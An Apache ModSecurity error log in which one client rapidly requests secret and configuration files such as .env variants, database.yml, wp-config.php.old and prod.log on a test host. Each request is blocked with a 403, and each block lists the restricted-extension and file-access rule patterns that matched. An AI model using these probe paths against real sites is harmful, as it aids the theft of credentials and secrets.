[Sun Nov 30 18:08:42.262931 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MgAAAAg&quot;]
[Sun Nov 30 18:08:42.263095 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MgAAAAg&quot;]
[Sun Nov 30 18:08:42.263299 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MgAAAAg&quot;]
[Sun Nov 30 18:08:42.263518 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.bak&quot;] [unique_id &quot;aSx6Gl1RgwzjQxTFQvL9MgAAAAg&quot;]
[Sun Nov 30 18:08:43.184969 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/prod.log&quot;] [unique_id &quot;aSx6G11RgwzjQxTFQvL9NgAAAAg&quot;]
[Sun Nov 30 18:08:43.185335 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/prod.log&quot;] [unique_id &quot;aSx6G11RgwzjQxTFQvL9NgAAAAg&quot;]
[Sun Nov 30 18:08:43.185588 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/logs/prod.log&quot;] [unique_id &quot;aSx6G11RgwzjQxTFQvL9NgAAAAg&quot;]
[Sun Nov 30 18:08:43.876814 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aSx6G11RgwzjQxTFQvL9OQAAAAg&quot;]
[Sun Nov 30 18:08:43.877035 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aSx6G11RgwzjQxTFQvL9OQAAAAg&quot;]
[Sun Nov 30 18:08:43.877258 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aSx6G11RgwzjQxTFQvL9OQAAAAg&quot;]
[Sun Nov 30 18:08:44.107556 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aSx6HF1RgwzjQxTFQvL9OgAAAAg&quot;]
[Sun Nov 30 18:08:44.108064 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aSx6HF1RgwzjQxTFQvL9OgAAAAg&quot;]
[Sun Nov 30 18:08:44.108364 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app.config&quot;] [unique_id &quot;aSx6HF1RgwzjQxTFQvL9OgAAAAg&quot;]
[Sun Nov 30 18:08:44.338246 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;database.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: database.yml found within REQUEST_FILENAME: /config/database.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aSx6HF1RgwzjQxTFQvL9OwAAAAg&quot;]
[Sun Nov 30 18:08:44.338604 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aSx6HF1RgwzjQxTFQvL9OwAAAAg&quot;]
[Sun Nov 30 18:08:44.338903 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/database.yml&quot;] [unique_id &quot;aSx6HF1RgwzjQxTFQvL9OwAAAAg&quot;]
[Sun Nov 30 18:08:45.029493 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cron/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9PgAAAAg&quot;]
[Sun Nov 30 18:08:45.029719 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9PgAAAAg&quot;]
[Sun Nov 30 18:08:45.029932 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cron/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9PgAAAAg&quot;]
[Sun Nov 30 18:08:45.259688 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9PwAAAAg&quot;]
[Sun Nov 30 18:08:45.259913 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9PwAAAAg&quot;]
[Sun Nov 30 18:08:45.260138 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9PwAAAAg&quot;]
[Sun Nov 30 18:08:45.489748 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9QAAAAAg&quot;]
[Sun Nov 30 18:08:45.489966 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9QAAAAAg&quot;]
[Sun Nov 30 18:08:45.490173 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aSx6HV1RgwzjQxTFQvL9QAAAAAg&quot;]
[Sun Nov 30 18:08:46.181635 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9QwAAAAg&quot;]
[Sun Nov 30 18:08:46.181815 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9QwAAAAg&quot;]
[Sun Nov 30 18:08:46.182044 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9QwAAAAg&quot;]
[Sun Nov 30 18:08:46.182259 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9QwAAAAg&quot;]
[Sun Nov 30 18:08:46.412108 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RAAAAAg&quot;]
